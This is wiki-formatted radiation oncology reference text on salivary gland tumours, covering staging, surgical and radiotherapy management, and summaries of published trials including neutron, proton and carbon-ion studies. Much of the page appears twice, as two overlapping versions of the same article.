*T1 - 2cm or less w/o extraparenchymal extension
*T2 - &gt;2cm but not greater than 4cm; and w/o extraparenchymal extension
*T3 - &gt;4cm or with extraparenchymal extension
*T4a - invades skin, mandible, ear canal or facial nerve
*T4b - invades skull base, pterygoid plates or encases carotid


''Nodes'' (same as for most H&amp;N sites){{:Radiation Oncology/Head &amp; Neck/Node staging}}


''Overall stage''
*I - T1 N0
*II - T2 N0
*III - T3 N0-1, or T1-3 N1 (i.e. T3 or N1)
*IVA - T4a N0-2, or T1-4a N2 (i.e. T4a or N2)
*IVB - T4b N0-3, or T1-4b N3 (i.e. T4b or N3)
*IVC - M1

===Older staging systems===
'''AJCC 6th Edition (2002)'''&lt;br&gt;
No changes compared to 7th edition

==Treatment==
*Treatment of choice for malignancy of salivary glands is surgical resection.
**Superficial parotidectomy if possible for parotid malignancy
**Total parotidectomy indicated if tumor invades into or adjacent to deep lobe.  Total parotidectomy still attempts to spare CNVII.
**Facial nerve should be sacrificed if invasion of CNVII or facial palsy
*Indications for adjuvant RT typically includes positive margins, invasion outside of salivary gland, positive nodes, high grade histology
**Treatment volume: No need for contralateral neck treatment even with positive ipsilateral neck nodes (see Harrison, 1990). Treat parotid bed only for low grade cancers with indications for local irradiation but no lymph node involvement.  Treat parotid bed and ipsilateral neck for high grade cancers, recurrent cancers, or LN metastases.  
**Radiation dose: Tumor bed - 60 Gy at 2 Gy/fx or 63 Gy at 1.8 Gy/fx.  Positive margins - 66-70 Gy.  Neck (undissected) - 50-54 Gy.  Neck (dissected) - 60-63 Gy
*Neutrons are superior to photon RT based on a randomized RTOG-MRC trial; local control was dramatically better but so was the rate of severe late effects. Neutron therapy is not routinely available, and not actively pursued  

===Adjuvant Radiation===
*'''Dutch Head and Neck Oncology Cooperative Group (NWHHT), 2005''' {{PMID|15629600 -- Terhaard CHJ et al.  &quot;The role of radiotherapy in the treatment of malignant salivary gland tumors,&quot;  Int J Radiat Oncol Biol Phys. 2005 Jan 1;61(1):103-11.
**Largest series published for malignant salivary gland tumors.
**498 pts w/ malignant primary salivary gland carcinoma.  Of pts treated w/ surgery, 78% received adjuvant xrt (median dose 62 Gy)
**Factors in which adjuvant radiation significantly improved local control included T3-T4, close margin, incomplete resection, bony invasion, and PNI.
**Local control for surgery alone if T1-2 and clear margins was 95% at 5 yrs, and 90% at 10 yrs
**5yr local control if definitive xrt was 50% if 66-70 Gy delivered.

*'''Memorial Sloan Kettering''' 
*{{PMID|2166187, 1990 -- &quot;Postoperative radiation therapy for major salivary gland malignancies.&quot; Harrison L et al. J Surg Oncol. 1990 Sep;45(1):52-5.

*{{PMID|2306346, 1990 (1966-82) &amp;mdash; &quot;Malignant tumors of major salivary gland origin. A matched-pair analysis of the role of combined surgery and postoperative radiotherapy.&quot; Armstrong JG et al. Arch Otolaryngol Head Neck Surg. 1990 Mar;116(3):290-3. 
**Matched pair analysis of patients with combined surgery + post-op RT and pts treated with surgery alone (1939-65).
**5-year survival for Stage I-II 81.9% (S+RT) vs 95.8% (S), and for Stage III-IV 51.3% vs 16.8%.  For LN+ 48.9% vs 18.7%.  
**Conclusion: post-op RT improves survival for Stage III-IV and LN+.

*'''Johns Hopkins, 1990''' (1975-87) {{PMID|2115032 --  North CA et al.  &quot;Carcinoma of the major salivary glands treated by surgery or surgery plus postoperative radiotherapy,&quot; Int J Radiat Oncol Biol Phys 1990 Jun;18(6):1319-26. 
**87 pts w/ carcinoma of major salivary gland (70 parotid) tx'd w/ either surgery or surg + post-op RT (median 60 Gy).
**Factors associated w/ poor outcome included facial nerve paresis, undifferentiated histology, male sex, skin invasion, and no RT.
**Patients w/ local recurrence had major advantage if RT was given as part of salvage.

===Elective Nodal Irradiation===
*'''UCSF; 2007''' (1960-2004) {{PMID|17234357 -- &quot;Patterns of nodal relapse after surgery and postoperative radiation therapy for carcinomas of the major and minor salivary glands: what is the role of elective neck irradiation?&quot;  (Chen AM, Int J Radiat Oncol Biol Phys. 2007 Mar 15;67(4):988-94.)
**Retrospective. 251 patients, N0 salivary gland malignancy (adenoid cystic 33%, mucoepidermoid 24%, adenoCA 23%), gross total resection (R0 44%, R1 56%), no LND + RT. Median primary RT dose 63 Gy. 52% had elective neck irradiation (ipsilateral neck 69%, bilateral 31%) 
**10-year outcome: Nodal failures in T1 7%, T2 5%, T3 12%, T4 16%. 
**ENI reduced 10-yr nodal relapse from 26% to 0%, especially in squamous cell (67%), undifferentiated CA (50%), adenoCA (34%). No nodal failures in adenoid cystic CA (0/84) or acinic cell (0/21), regardless of ENI.
**Conclusion: ENI effectively prevents nodal relapses

*'''Memorial Sloan Kettering, 1992''' - {{PMID|1730113, (1939-82)  Armstrong JG et al.  &quot;The indications for elective treatment of the neck in cancer of the major salivary glands.&quot; Cancer. 1992 Feb 1;69(3):615-9. 
**474 pts. Clinically LN+ in 14%. Pathologically positive (occult) LN mets in 12% of those with clinically negative neck. 
**Size and grade were predictive of LN mets. Size: 20% (&gt;4 cm) vs 4%; Grade: 49% (High grade) vs 7% (int or low grade).

===Definitive Radiation Therapy===
*'''UCSF, 2006''' (1960-2004) {{PMID|16965870 -- Chen AM et al.  &quot;Long-term outcome of patients treated by radiation therapy alone for salivary gland carcinomas.&quot; Int J Radiat Oncol Biol Phys. 2006 Nov 15;66(4):1044-50.
**45 pts w/ newly dx'd salivary gland carcinoma tx'd w/ definitive xrt to median dose of 66 Gy.
**5 yr estimated local control was 70%, 10 yr 57%
**T3-4 disease and &lt;66 Gy were predictors for local recurrence.
*'''Gainesville, 2005''' (1964-2003) {{PMID|15880750 -- Mendenhall WM et al.  &quot;Radiotherapy alone or combined with surgery for salivary gland carcinoma.&quot;  Cancer. 2005 Jun 15;103(12):2544-50.
**Retrospective review of pts at U of FL tx'd w/ curative intent w/ RT alone (64) vs surg (160).
**T stage and use of surgery were predictors of local control.
**RT cured approximately 20% of advanced stage tumors if used alone.

===Neutron Therapy===
*'''RTOG-MRC Neutron Trial''' -- neutrons vs. photons/electrons
**Randomized. ''Stopped early due to neutron advantage.'' 32 patients, inoperable or recurrent major or minor salivary gland tumors. Arm 1) Neutrons (17-22 nGy) vs. Arm 2) photon/electrons (55 Gy/4 weeks or 70 Gy/7.5 weeks)
**'''2-years; 1988''' {{PMID|2846479 -- &quot;Neutron vs photon irradiation of inoperable salivary gland tumors: results of an RTOG-MRC Cooperative Randomized Study.&quot; (Griffin TW, Int J Radiat Oncol Biol Phys. 1988 Nov;15(5):1085-90.) Minimum F/U 2 years
***Outcome: 2-year LRC neutrons 67% vs. photons/electrons 17% (SS); 2-year OS 62% vs. 25% (NS)
***Conclusion: Neutrons superior for local control, but no impact on survival
**'''Final; 1993''' {{PMID|8407397 -- &quot;Neutron versus photon irradiation for unresectable salivary gland tumors: final report of an RTOG-MRC randomized clinical trial.&quot;  (Laramore G, Int J Radiat Oncol Biol Phys. 1993 Sep 30;27(2):235-40)
***Outcome: 10-year LRC neutrons 56% vs. photons/electrons 17% (SS); OS 25% vs. 15% (NS). Median OS 3 years vs. 1.2 years
***Toxicity: Severe toxicity worse in neutron arm, but no difference in &quot;life-threatening&quot; complications
***Conclusion: Fast neutron RT appears to be the treatment of choice for patients with inoperable/recurrent salivary gland tumors
**Comment: Remains as only randomized trial for malignant salivary gland tumors

*'''University of Washington, 2003''' {{PMID|12975266 -- Douglas JG et al.  &quot;Treatment of salivary gland neoplasms with fast neutron radiotherapy.&quot;  Arch Otolaryngol Head Neck Surg 2003 Sep;129(9):944-8. 
**279 pts tx'd w/ curative intent using fast neutron therapy (263 had evidence of gross residual dz).
**Multivariate analysis showed improved CSS for pts w/ stage I-II dz, lack of skull base invasion, minor salivary site.

==Minor Salivary Glands==
*Widely distributed throughout the upper aerodigestive tract: tumors present in 38% palate, 12% cheek/lips, 12% antrum, 10% tongue, 10% nasal cavity, multiple other sites &lt;10%
*Imaging depends on location, but should involve evaluation of bone involvement
*Definitive diagnosis should be via excisional biopsy
*Histology: 40% adenoid cystic, 16% mucoepidermoid, 16% adenoCA, 28% others
*Prognosis: worst for adenoid cystic
*General management (based on Perez 5th edition)
**Depending on site, attempt surgical resection (though not simple excision, as significant residual disease can be left behind)
**Radiation may be used as adjuvant or primary, with techniques similar to squamous cell cancers in the same location, except:
***Adenoid cystic involving a named branch of cranial nerve, in which case nerve path to skull base should be treated. For focal perineural invasion, treatment to skull base should be based on anatomic location
***For paranasal sinuses or palate, base of skull should be treated due to proximity
***Fields may not need to electively include LNs, except if located in tongue, floor of mouth, pharynx, or larnyx and neck was not dissected. However, UCSF data on elective nodal irradiation (ENI) above suggest no benefit for adenoid cystic or acinic cell
**RT dose
***Negative margins: 60/30
***Microscopically positive margins: 66/33
***Grossly residual disease or primary treatment: 70/35


*'''Netherlands Cancer Institute; 2000''' (Belgium)(1973-1994) {{PMID|11002213 -- &quot;Stage as major long term outcome predictor in minor salivary gland carcinoma.&quot; (Vander Poorten VL, Cancer. 2000 Sep 15;89(6):1195-204.)
**Retrospective. 55 patients with minor salivary gland cancer. Median F/U for alive patients 11.1 years
**Outcome: 5-year DSS 76%, 10-year DSS 74%
**Prognostic factors: younger age, lower AJCC stage, LN+, vascular invasion, nasopharynx/paranasal sinus location
**Conclusion: comparable outcome to major salivary gland patients


==Adenoid Cystic Carcinoma==
===Overview===
*First described in 1853, named adenoid cystic in 1953
*Slow-growing epithelial tumor of salivary glands, thought to arise from intercalated mucous-secreting ducts. Can arise anywhere within the upper respiratory tract
*Predominance in 5th-6th decade, and in females
*Estimated 5-10% of all salivary tumors, but common in minor salivary glands (30-40%). Parotid gland is the single most common site, and accounts for ~25%. Minor salivary glands account for ~60% in total; most common site is palate
*Histologically shows 3 patterns: glandular, tubular, and solid (worse prognosis)
*Characterized by persistent local recurrences, perineural spread, and distant metastases; lymphatic spread less common
*Distant metastases may happen late, commonly affect lungs, are are frequently slow-growing and surgically resectable
*Most important prognostic factor is Stage; more favorable outcome of major parotid glands compared with minor is probably earlier diagnosis
*Overall, 5-year OS is exceptionally good but 10- and 20-year OS is exceptionally poor
*Most are treated surgically
*Role of adjuvant RT is controversial; some institutions use for all patients while others use for those with unfavorable features. It is probably reasonable to offer adjuvant radiation for most patients, especially with positive surgical margins or perineural invasion. RT dose should be &gt;60 Gy
*Perineural invasion of small unnamed nerves may not be correlated with worse control if treated with adjuvant RT; named branches of cranial nerves should probably be treated to skull base
*In patients with skull base extension (and likely R2 resection or unresectable), dose intensification with proton therapy or carbon ion boost appears superior to IMRT alone

===Photon Therapy===
*'''MSKCC; 2007''' (1990-2004) {{PMID|18029108 -- &quot;Outcomes and Prognostic Variables in Adenoid Cystic Carcinoma of the Head and Neck: A Recent Experience.&quot; (Gomez DR, Int J Radiat Oncol Biol Phys. 2007 Oct 27 [Epub ahead of print])
**Retrospective. 59 patients (oral cavity 28%, paranasal sinuses 22%, parotid 14%, submandibular 14%) treated with RT. Stage T1-T4. Base of skull treated in 90%. Median F/U of survivors 5.9 years
**Outcome: 5-year LC 91%, DM-free 81%, OS 87%; 10-year LC 81%, DM-free 49%, OS 65%
**Worse predictors: T4, gross/clinical nerve involvement, LN+
**Conclusion: RT combined with surgery offers excellent local control

*'''Heidelberg; 2006''' {{PMID|16756669 -- &quot;Inverse planned stereotactic intensity modulated radiotherapy (IMRT) in the treatment of incompletely and completely resected adenoid cystic carcinomas of the head and neck: initial clinical results and toxicity of treatment.&quot; (Munter MW, Radiat Oncol. 2006 Jun 6;1:17.)
**Retrospective. 25 patients, huge adenoid cystic tumors. Surgery R0 (16%), R1 (4%), R2 (80%). Treated with IMRT, most using integrated boost. Median F/U 1.9 months
**Outcome: 3-year OS 72%. LF 12%, RF (adjacent LN) 12%
**Toxicity: Grade 3+ if small number of patients
**Conclusion: IMRT provides good control and low side effects

*'''UCSF; 2006''' (1960-2004) {{PMID|16904520 -- &quot;Adenoid cystic carcinoma of the head and neck treated by surgery with or without postoperative radiation therapy: prognostic features of recurrence.&quot; (Chen AM, Int J Radiat Oncol Biol Phys. 2006 Sep 1;66(1):152-9.)
**Retrospective. 140 patients treated with definitive surgery. T1 26%, T2 28%, T3 20%, T4 26%. SM+ 56%. Post-op RT 64%, median dose 64 Gy (54-71 Gy). Base of skull treated routine for all patients with PNI. Elective neck in 54%. Median F/U 5.5 years
**Outcome: LC 5-year 88%, 10-year 77%; 10-year OS 64%. Sites of failure: all LR were localize to original site except for 2 base of skull recurrences in patients treated with surgery alone. No cervical LN failures. DM sites were lung 71%, bone 14%, liver 9%, brain 6%
**Poor prognosis: T4, PNI, major nerve involvement, lack of post-op RT. Post-op RT beneficial in essentially all subgroups except possibly if SM-. If received post-op RT, dose &lt;60 Gy, T4, and major nerve involvement poor prognosis
**Conclusion: Combined modality therapy with RT &gt;60 Gy should be standard of care

*'''University of Florida; 2004''' (1966-2001) {{PMID|14762884 -- &quot;Radiotherapy alone or combined with surgery for adenoid cystic carcinoma of the head and neck.&quot; (Mendenhall WM, Head Neck. 2004 Feb;26(2):154-62.)
**Retrospective. 101 patients, treated with RT alone or surgery + RT. Median F/U 6.6 years
**Outcome: LC 5-years RT 56% vs surgery + RT 94%, 10-years 43% vs. 91% (SS). OS 5-years 57% vs. 77%, 10-years 42% vs. 55%. Predictors for survival T-stage, clinical nerve invasion. DM 10-years 27%
**Conclusion: Optimal treatment for ACC is surgery + adjuvant RT

*'''Hanover; 2004''' (Germany)(1981-2000) {{PMID|14690656 -- &quot;Adenoid cystic carcinoma of the head and neck--a 20 years experience.&quot; (Kokemueller H, Int J Oral Maxillofac Surg. 2004 Jan;33(1):25-31.)
**Retrospective. 74 patients. Complete resection 45/74. Post-op RT 14 patients.
**Outcome: LC 5-years 64%, 10-years 56%, 15-years 52%; mean local control time 11.1 years; DM control 72%, 62%, 59%; mean distant control time 14.4 years; OS 71%, 54%, 37%; mean OS 4.7 years
**Poor prognosis: large size, PNI, SM+
**Conclusion: Insight into behavior of ACC

*'''UCLA; 2004''' (1963-1997) {{PMID|15577803 -- &quot;Adenoid cystic carcinoma of the submandibular gland: a 35-year review.&quot; (Cohen AN, Otolaryngol Head Neck Surg. 2004 Dec;131(6):994-1000.)
**Retrospective. 22 patients, ACC of submandibular gland. Surgery in 21/22. Post-op RT if advanced size, PNI, SM+, or LN+. Median F/U 5.6 years
**Outcome: DFS 3-years 66%, 5-years 57%, 10-years 41%; OS 76%, 70%, 37%
**Poor prognosis: large tumor, SM+, PNI, local recurrence
**Conclusion: High DFS rates; early Dx, wide surgery and post-op RT associated with favorable prognosis

*'''MD Anderson; 1995''' (1962-1991) {{PMID|7790247 -- &quot;The influence of positive margins and nerve invasion in adenoid cystic carcinoma of the head and neck treated with surgery and radiation.&quot; (Garden AS, Int J Radiat Oncol Biol Phys. 1995 Jun 15;32(3):619-26.)
**Retrospective. 198 patients, ACC treated with surgery, then post-op RT. Parotid 15%, submandibular/sublingual 21%, minor salivary 62%, lacrimal 2%. Resection R1 42%, close 28%. PNI 69%, major nerve PNI 28%. Median RT 60 Gy to tumor bed. Median F/U 7.8 years
**Outcome: LR 5-years 95%, 10-years 86%, 15-years 79%. LR by margin: positive 18%, close 9%, negative 5% (SS). By PNI, PNI major nerve 18% vs. PNI minor nerve 9% (SS). Trend to better control with higher dose. DM primary mode of recurrence (37%)
**Conclusion: Excellent local control using combined surgery + postop RT. PNI only adverse with major nerve involvement. Recommend 60 Gy to tumor bed, 66 Gy if SM+

===Proton Therapy===
*''Please also see the [[Radiation_Oncology/Head_%26_Neck/Protons|general H&amp;N proton therapy]] page''


*'''Harvard''' 
**'''2008''' (1991-2002) {{PMID|17902164 -- &quot;Extent of surgery in the management of locally advanced sinonasal malignancies.&quot; (Resto VA, Head Neck. 2008 Feb;30(2):222-9.)
***Retrospective. 102 patients, locally advanced, treated with proton therapy with or without surgery (R0 20%, R1 49%, R2/biopsy 31%). Squamous cell 32%, neuroendocrine 29%, &lt;u&gt;adenoid cystic 20%&lt;/u&gt;, sarcoma 13%, adenocarcinoma 6%. Median RT dose if R0 resection 67.6 Gy, if R1/R2 resection 75.6 Gy usually given BID. Median proton contribution 57%. Concurrent chemo 33% (typically for neuroendocrine). Median F/U 3.6 years, alive 5.1 years
***Outcome: 5-year LC R0 95% vs R1 82% vs R2 87% (NS, no difference by histology); 5-year DFMS 95% vs. 69% vs 52% (no difference by histology). 5-year OS 90% vs 49% vs 39% (worst for squamous cell). Regional failure rate 12%
***Conclusion: High dose proton RT excellent local control regardless of extent of surgery. However, DFS and DMFS depended on extent of surgery. Can consider observation for regional neck
**'''2006''' (1991-2002) {{PMID|17116822 -- &quot;Proton beam radiation therapy for skull base adenoid cystic carcinoma.&quot; (Pommier P, Arch Otolaryngol Head Neck Surg. 2006 Nov;132(11):1242-9.)
***Retrospective. 23 patients, adenoid cystic with skull base extension. Sinonasal 75%, nasopharynx 22%. Surgery 52%. All patients definitive combined photon and proton RT (photons typically to elective LNs, proton contribution 31-72%). Median dose 76 Gy BID or 73 Gy QD. Median F/U 5.2 years
***Outcome: 5-year LC 93%, DMFS 62%, DFS 56%, OS 77%. Prognostic factors vision change initially and sphenoid sinus/clivus involvement
***Conclusion: Encouraging local control

===Carbon Ion===
*'''Heidelberg''' 
**'''IMRT vs carbon; 2005''' (1995-2003) {{PMID|15937907 -- &quot;Therapy strategies for locally advanced adenoid cystic carcinomas using modern radiation therapy techniques.&quot; (Schulz-Ertner D, Cancer. 2005 Jul 15;104(2):338-44.)
***Retrospective. 63 patients with ACC, 2 groups depending on carbon ion beam availability. Group A (n=29): combined photons/carbon boost. Group B (n=34): photons only, delivered as stereotactic or IMRT. Carbon ion allowed higher median GTV dose (72 GyE vs. 66 GyE). Median F/U Group A 1.3 years vs Group B 2 years
***Outcome: LRC 2-years photons/carbon 77% vs. IMRT 72%, 4-years 77% vs. 25% (p=0.08). 4-year DFS 53% vs. 23%, 4-year OS 76% vs. 78%
***Toxicity: Severe late toxicity &lt;5% for both groups
***Conclusion: Combination of IMRT and carbon ion seemed advantageous over IMRT alone
**'''Overall; 2004''' (1997-2002) {{PMID|14751537 -- &quot;Results of carbon ion radiotherapy in 152 patients.&quot; (Schulz-Ertner D, Int J Radiat Oncol Biol Phys. 2004 Feb 1;58(2):631-40.)
***Retrospective. 152 patients treated with carbon ion RT, 21 unfavorable adenoid cystic with infiltration of skull base and R2 resection enrolled (18 primary, 8 recurrent). Photons to 54 Gy (but 8/21 received lower dose due to neighboring organ tolerances) followed by carbon ion boost 18 GyE. 14/21 patients planned with IMRT. Median F/U 14 months
***Adenoid cystic outcome: LRF 4/21 (19%); 3-year LRC 62%, OS 75%
***Toxicity: acute Grade 3 in 9% (1 abscess, 1 mucositis)
***Conclusion: Carbon ion therapy is safe and offers high local control
**'''Feasibility; 2003''' (1998-2002) {{PMID|12738314 -- &quot;Feasibility and toxicity of combined photon and carbon ion radiotherapy for locally advanced adenoid cystic carcinomas.&quot; (Schulz-Ertner D, Int J Radiat Oncol Biol Phys. 2003 Jun 1;56(2):391-8.)
***Phase I/II. 16 patients, ACC with R2 resection. Combined photon/carbon boost RT to 72 GyE. Photons were stereotactic RT/IMRT. Median F/U 1 year
***Outcome: 1-year LC 65%, 3-year LC 65%; OS 100% and 83%
***Toxicity: No Grade 3+ acute toxicity
***Conclusion: Combined photon/carbon ion therapy is feasible and effective</text>
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&lt;big&gt;'''Tumors of the Salivary Glands'''&lt;/big&gt;


==Epidemiology==
*Median age for salivary gland malignancy is 55-65.
*Median age for benign salivary gland tumor is 10 yrs younger.
*Salivary gland malignancies represent 3-6% of head and neck cancers.
*Tumor distribution (Perez 5th edition):
**Parotid gland 70%
**Submandibular gland 8%
**Minor salivary glands 22%


==Histology==
*75% of parotid masses are benign
*Low grade tumors of the parotid:  acinic cell, low grade mucoepidermoid
*High grade tumors of the parotid:  high grade mucoepidermoid, adenoid cystic, adenoCA, squamous cell
*Most common histology of malignant parotid gland tumor is mucoepidermoid (30%).
*Predominant histology of a malignant submandibular gland tumor is adenoid cystic.
*Histologic classification is often difficult, with significant interobserver variability and reclassification rate

==Anatomy==
'''Salivary Glands:'''
*&lt;u&gt;Parotid&lt;/u&gt; - superficial to and behind ramus of the mandible. LN drainage to parotid nodes, and then to superficial LNs along SCM muscle and to deep cervical chain
*&lt;u&gt;Submandibular&lt;/u&gt; - in triangle between digastric muscle bellies and lower border of the mandible. LN drainage to both submandibular LNs and directly to anterior subdigastic LNs
*&lt;u&gt;Sublingual&lt;/u&gt; - medial to mandible, lateral to genioglossus muscle of the tongue, superior to mylohyoid muscle, inferior to mucous membrane of the floor of the mouth. LN drainage to submandibular LNs or to deep internal jugular chain
*&lt;u&gt;Minor Salivary Glands&lt;/u&gt; - widely distributed throughout the upper aerodigestive tract (see below)


'''Parotid Gland'''
*Anatomical borders of parotid gland
**Superior - zygomatic arch
**Inferior - upper border of posterior belly of digastric
**Anterior - 2nd maxillary molar
**Posterior - tip of mastoid
*Lobes of parotid gland:
**Parotid gland divided into superficial and deep lobes.  
**Lobes of parotid separated by relation to facial nerve (no fascial plane separating them).


'''Nodal drainage of Salivary Glands:'''
*Parotid:
**Periparotid and intraparotid nodes
**Level I, Level II, Level III
*Submandibular
**Level I, Level II, Level III


'''Contouring / Anatomy'''
*See [[Radiation Oncology/Head &amp; Neck/Anatomy#Specific sites|Radiation Oncology/Head &amp; Neck/Anatomy]] (e.g. COSTAR trial)

==Staging==
'''AJCC 7th Edition (2009)'''&lt;br&gt;
''Tumor''
*T1 - 2cm or less w/o extraparenchymal extension
*T2 - &gt;2cm but not greater than 4cm; and w/o extraparenchymal extension
*T3 - &gt;4cm or with extraparenchymal extension
*T4a - invades skin, mandible, ear canal or facial nerve
*T4b - invades skull base, pterygoid plates or encases carotid


''Nodes'' (same as for most H&amp;N sites){{:Radiation Oncology/Head &amp; Neck/Node staging}}


''Overall stage''
*I - T1 N0
*II - T2 N0
*III - T3 N0-1, or T1-3 N1 (i.e. T3 or N1)
*IVA - T4a N0-2, or T1-4a N2 (i.e. T4a or N2)
*IVB - T4b N0-3, or T1-4b N3 (i.e. T4b or N3)
*IVC - M1

===Older staging systems===
'''AJCC 6th Edition (2002)'''&lt;br&gt;
No changes compared to 7th edition

==Treatment==
*Treatment of choice for malignancy of salivary glands is surgical resection.
**Superficial parotidectomy if possible for parotid malignancy
**Total parotidectomy indicated if tumor invades into or adjacent to deep lobe.  Total parotidectomy still attempts to spare CNVII.
**Facial nerve should be sacrificed if invasion of CNVII or facial palsy
*Indications for adjuvant RT typically includes positive margins, invasion outside of salivary gland, positive nodes, high grade histology
**Treatment volume: No need for contralateral neck treatment even with positive ipsilateral neck nodes (see Harrison, 1990). Treat parotid bed only for low grade cancers with indications for local irradiation but no lymph node involvement.  Treat parotid bed and ipsilateral neck for high grade cancers, recurrent cancers, or LN metastases.  
**Radiation dose: Tumor bed - 60 Gy at 2 Gy/fx or 63 Gy at 1.8 Gy/fx.  Positive margins - 66-70 Gy.  Neck (undissected) - 50-54 Gy.  Neck (dissected) - 60-63 Gy
*Neutrons are superior to photon RT based on a randomized RTOG-MRC trial; local control was dramatically better but so was the rate of severe late effects. Neutron therapy is not routinely available, and not actively pursued  

===Adjuvant Radiation===
*'''Dutch Head and Neck Oncology Cooperative Group (NWHHT), 2005''' {{PMID|15629600}} -- Terhaard CHJ et al.  &quot;The role of radiotherapy in the treatment of malignant salivary gland tumors,&quot;  Int J Radiat Oncol Biol Phys. 2005 Jan 1;61(1):103-11.
**Largest series published for malignant salivary gland tumors.
**498 pts w/ malignant primary salivary gland carcinoma.  Of pts treated w/ surgery, 78% received adjuvant xrt (median dose 62 Gy)
**Factors in which adjuvant radiation significantly improved local control included T3-T4, close margin, incomplete resection, bony invasion, and PNI.
**Local control for surgery alone if T1-2 and clear margins was 95% at 5 yrs, and 90% at 10 yrs
**5yr local control if definitive xrt was 50% if 66-70 Gy delivered.

*'''Memorial Sloan Kettering''' 
*{{PMID|2166187}}, 1990 -- &quot;Postoperative radiation therapy for major salivary gland malignancies.&quot; Harrison L et al. J Surg Oncol. 1990 Sep;45(1):52-5.

*{{PMID|2306346}}, 1990 (1966-82) &amp;mdash; &quot;Malignant tumors of major salivary gland origin. A matched-pair analysis of the role of combined surgery and postoperative radiotherapy.&quot; Armstrong JG et al. Arch Otolaryngol Head Neck Surg. 1990 Mar;116(3):290-3. 
**Matched pair analysis of patients with combined surgery + post-op RT and pts treated with surgery alone (1939-65).
**5-year survival for Stage I-II 81.9% (S+RT) vs 95.8% (S), and for Stage III-IV 51.3% vs 16.8%.  For LN+ 48.9% vs 18.7%.  
**Conclusion: post-op RT improves survival for Stage III-IV and LN+.

*'''Johns Hopkins, 1990''' (1975-87) {{PMID|2115032}} --  North CA et al.  &quot;Carcinoma of the major salivary glands treated by surgery or surgery plus postoperative radiotherapy,&quot; Int J Radiat Oncol Biol Phys 1990 Jun;18(6):1319-26. 
**87 pts w/ carcinoma of major salivary gland (70 parotid) tx'd w/ either surgery or surg + post-op RT (median 60 Gy).
**Factors associated w/ poor outcome included facial nerve paresis, undifferentiated histology, male sex, skin invasion, and no RT.
**Patients w/ local recurrence had major advantage if RT was given as part of salvage.

===Elective Nodal Irradiation===
*'''UCSF; 2007''' (1960-2004) {{PMID|17234357}} -- &quot;Patterns of nodal relapse after surgery and postoperative radiation therapy for carcinomas of the major and minor salivary glands: what is the role of elective neck irradiation?&quot;  (Chen AM, Int J Radiat Oncol Biol Phys. 2007 Mar 15;67(4):988-94.)
**Retrospective. 251 patients, N0 salivary gland malignancy (adenoid cystic 33%, mucoepidermoid 24%, adenoCA 23%), gross total resection (R0 44%, R1 56%), no LND + RT. Median primary RT dose 63 Gy. 52% had elective neck irradiation (ipsilateral neck 69%, bilateral 31%) 
**10-year outcome: Nodal failures in T1 7%, T2 5%, T3 12%, T4 16%. 
**ENI reduced 10-yr nodal relapse from 26% to 0%, especially in squamous cell (67%), undifferentiated CA (50%), adenoCA (34%). No nodal failures in adenoid cystic CA (0/84) or acinic cell (0/21), regardless of ENI.
**Conclusion: ENI effectively prevents nodal relapses

*'''Memorial Sloan Kettering, 1992''' - {{PMID|1730113}}, (1939-82)  Armstrong JG et al.  &quot;The indications for elective treatment of the neck in cancer of the major salivary glands.&quot; Cancer. 1992 Feb 1;69(3):615-9. 
**474 pts. Clinically LN+ in 14%. Pathologically positive (occult) LN mets in 12% of those with clinically negative neck. 
**Size and grade were predictive of LN mets. Size: 20% (&gt;4 cm) vs 4%; Grade: 49% (High grade) vs 7% (int or low grade).

===Definitive Radiation Therapy===
*'''UCSF, 2006''' (1960-2004) {{PMID|16965870}} -- Chen AM et al.  &quot;Long-term outcome of patients treated by radiation therapy alone for salivary gland carcinomas.&quot; Int J Radiat Oncol Biol Phys. 2006 Nov 15;66(4):1044-50.
**45 pts w/ newly dx'd salivary gland carcinoma tx'd w/ definitive xrt to median dose of 66 Gy.
**5 yr estimated local control was 70%, 10 yr 57%
**T3-4 disease and &lt;66 Gy were predictors for local recurrence.
*'''Gainesville, 2005''' (1964-2003) {{PMID|15880750}} -- Mendenhall WM et al.  &quot;Radiotherapy alone or combined with surgery for salivary gland carcinoma.&quot;  Cancer. 2005 Jun 15;103(12):2544-50.
**Retrospective review of pts at U of FL tx'd w/ curative intent w/ RT alone (64) vs surg (160).
**T stage and use of surgery were predictors of local control.
**RT cured approximately 20% of advanced stage tumors if used alone.

===Neutron Therapy===
*'''RTOG-MRC Neutron Trial''' -- neutrons vs. photons/electrons
**Randomized. ''Stopped early due to neutron advantage.'' 32 patients, inoperable or recurrent major or minor salivary gland tumors. Arm 1) Neutrons (17-22 nGy) vs. Arm 2) photon/electrons (55 Gy/4 weeks or 70 Gy/7.5 weeks)
**'''2-years; 1988''' {{PMID|2846479}} -- &quot;Neutron vs photon irradiation of inoperable salivary gland tumors: results of an RTOG-MRC Cooperative Randomized Study.&quot; (Griffin TW, Int J Radiat Oncol Biol Phys. 1988 Nov;15(5):1085-90.) Minimum F/U 2 years
***Outcome: 2-year LRC neutrons 67% vs. photons/electrons 17% (SS); 2-year OS 62% vs. 25% (NS)
***Conclusion: Neutrons superior for local control, but no impact on survival
**'''Final; 1993''' {{PMID|8407397}} -- &quot;Neutron versus photon irradiation for unresectable salivary gland tumors: final report of an RTOG-MRC randomized clinical trial.&quot;  (Laramore G, Int J Radiat Oncol Biol Phys. 1993 Sep 30;27(2):235-40)
***Outcome: 10-year LRC neutrons 56% vs. photons/electrons 17% (SS); OS 25% vs. 15% (NS). Median OS 3 years vs. 1.2 years
***Toxicity: Severe toxicity worse in neutron arm, but no difference in &quot;life-threatening&quot; complications
***Conclusion: Fast neutron RT appears to be the treatment of choice for patients with inoperable/recurrent salivary gland tumors
**Comment: Remains as only randomized trial for malignant salivary gland tumors

*'''University of Washington, 2003''' {{PMID|12975266}} -- Douglas JG et al.  &quot;Treatment of salivary gland neoplasms with fast neutron radiotherapy.&quot;  Arch Otolaryngol Head Neck Surg 2003 Sep;129(9):944-8. 
**279 pts tx'd w/ curative intent using fast neutron therapy (263 had evidence of gross residual dz).
**Multivariate analysis showed improved CSS for pts w/ stage I-II dz, lack of skull base invasion, minor salivary site.

==Minor Salivary Glands==
*Widely distributed throughout the upper aerodigestive tract: tumors present in 38% palate, 12% cheek/lips, 12% antrum, 10% tongue, 10% nasal cavity, multiple other sites &lt;10%
*Imaging depends on location, but should involve evaluation of bone involvement
*Definitive diagnosis should be via excisional biopsy
*Histology: 40% adenoid cystic, 16% mucoepidermoid, 16% adenoCA, 28% others
*Prognosis: worst for adenoid cystic
*General management (based on Perez 5th edition)
**Depending on site, attempt surgical resection (though not simple excision, as significant residual disease can be left behind)
**Radiation may be used as adjuvant or primary, with techniques similar to squamous cell cancers in the same location, except:
